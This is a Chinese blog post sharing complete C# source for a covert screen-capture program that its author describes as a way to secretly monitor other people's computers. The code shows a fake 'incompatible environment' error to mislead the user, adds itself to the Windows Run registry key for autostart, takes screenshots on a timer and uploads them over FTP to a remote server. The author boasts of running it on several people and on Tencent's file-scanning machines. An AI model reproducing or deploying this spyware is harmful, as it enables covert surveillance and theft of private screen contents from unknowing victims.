深度优先

这个家伙好懒,除了文章什么都没留下

0%

【DIY】实时截屏上传到服务器

这几天跟个咸鱼似的。天气太热了,什么事情都不想干。

继续以前的思路写了个winform后台实时截屏de小程序,这次的小改进是,可以将图片上传到自己服务器上

就相当于可以实时监控别人电脑de画面情况,然后加上开机启动,后台运行,一般小白也难以察觉。hhh

找了几个人试了下,效果还不错,而且还发现,在QQ上传文件时,腾讯的测试机会先进行文件的查看

测试机器也在运行我程序的时候被截屏,并上传到服务器了,感觉一下发现新大陆了

直接贴算了,代码也不多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
//因为以替换形式,保存图片,定义一个全局变量i, fzu0.png fzu1.png fzu2.png fzu(3%3).png fzu(4%3).png
private static int i = 0;
private Bitmap bitmap = null;
private const string imgPath = "CutScreen.png";
private const string CreateimgPath = "D:\\ggg\\img\\";
private const string txtPath = @"CutScreenText.txt";

private void Form1_Load(object sender, EventArgs e)
{
try
{
if (Directory.Exists(CreateimgPath) == false)
Directory.CreateDirectory(CreateimgPath);
}catch{}
StartUp("1");//开机启动
timer1.Start();
MessageBox.Show("oh,当前运行环境不兼容!", "消息提示", MessageBoxButtons.OK, MessageBoxIcon.Error);
}

private void btn_upload_Click(object sender, EventArgs e)
{

}
/// <summary>
/// 全屏截图
/// </summary>
/// <param name="strName"></param>
/// <param name="iVali"></param>
public void ExecCutScreen(string strName, int iVali)
{
bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics gp = Graphics.FromImage(bitmap);
gp.CopyFromScreen(new Point(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y), new Point(0, 0), bitmap.Size, CopyPixelOperation.SourceCopy);
try
{
string newImg = CreateimgPath + imgPath;
//判断图片是否存在,存在将其删除,用新的替代
if (File.Exists(newImg))
{
File.Delete(newImg);
}
bitmap.Save(newImg, ImageFormat.Png);//存储到本地磁盘
uploadFile(newImg, strName + ".png");
//iVali参数判断,如果iVali=0,说明执行的是现在截取屏幕事件,如果是iVali=1说明执行timer控件事件。
if (iVali == 0)
{
//MessageBox.Show("成功上传!");
}
}
catch(Exception ex) {
//MessageBox.Show(ex.Message);
}
finally
{
gp.Dispose();
bitmap.Dispose();
//iVali参数判断,如果iVali=0,说明执行的是现在截取屏幕事件,如果是iVali=1说明执行timer控件事件。
if (iVali == 1)
{
i++;
}
}
}

/// <summary>
/// 上传到服务器端
/// </summary>
/// <param name="localPath"></param>
/// <param name="strName"></param>
public void uploadFile(string localPath, string strName)
{
Stream strm = null;
FileStream fs = null;
try
{
FileInfo fileInf = new FileInfo(localPath); //本地要上传的文件路径
//上传的ftp路径+文件名
string uri = @"ftp://1.1.1.1/Cut/" + strName;//根据自己连接改下
// 连接
FtpWebRequest reqFTP;
reqFTP = (FtpWebRequest)FtpWebRequest.Create(uri);
reqFTP.UseBinary = true; // 指定数据传输类型
reqFTP.Credentials = new NetworkCredential("ftpName", "ftpPwd"); // ftp用户名和密码

// 默认为true,连接不会被关闭
// 在一个命令之后被执行
reqFTP.KeepAlive = false;
// 指定执行什么命令
reqFTP.Method = WebRequestMethods.Ftp.UploadFile;
//上传文件时通知服务器文件的大小
reqFTP.ContentLength = fileInf.Length;
//缓冲大小设置为kb
int buffLength = 2048;
byte[] buff = new byte[buffLength];
int contentLen;
// 打开一个文件流(System.IO.FileStream) 去读上传的文件
fs = fileInf.OpenRead();
//把上传的文件写入流
strm = reqFTP.GetRequestStream();
// 每次读文件流的kb
contentLen = fs.Read(buff, 0, buffLength);
// 流内容没有结束
while (contentLen != 0)
{
// 把内容从file stream 写入upload stream
strm.Write(buff, 0, contentLen);
contentLen = fs.Read(buff, 0, buffLength);
}
}
catch
{ }
finally
{
// 关闭两个流
strm.Close();
fs.Close();
}
}
int count = 0;
string UserName = System.Environment.UserName;
private void timer1_Tick(object sender, EventArgs e)
{
string time ="" +DateTime.Now.Hour + DateTime.Now.Minute + DateTime.Now.Second;
ExecCutScreen(UserName + "_" + time, 0);
count++;
}


/// <summary>
/// 修改程序在注册表中的键值
/// </summary>
/// <param name="flag">1:开机启动</param>
private void StartUp(string flag)
{
try
{
string path = Application.StartupPath;
string keyName = path.Substring(path.LastIndexOf("\\") + 1);
Microsoft.Win32.RegistryKey Rkey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

if (flag.Equals("1"))
{
if (Rkey == null)
{
Rkey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
}
Rkey.SetValue(keyName, path + @"\UploadImages.exe");
}
else
{
if (Rkey != null)
{
Rkey.DeleteValue(keyName, false);
}
}
}
catch
{
}
}
}

只允许程序启动一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static class Program
{
private static System.Threading.Mutex mutex;
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{


Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
mutex = new System.Threading.Mutex(true, "OnlyRun");
if (mutex.WaitOne(0, false))
{
Application.Run(new Form1());
}
else
{
MessageBox.Show("程序已经启动过一次!", "提示消息", MessageBoxButtons.OK, MessageBoxIcon.Information);
Application.Exit();
}
}
}

效果展示:
http://bfsdfs.com/UploadImgShow.aspx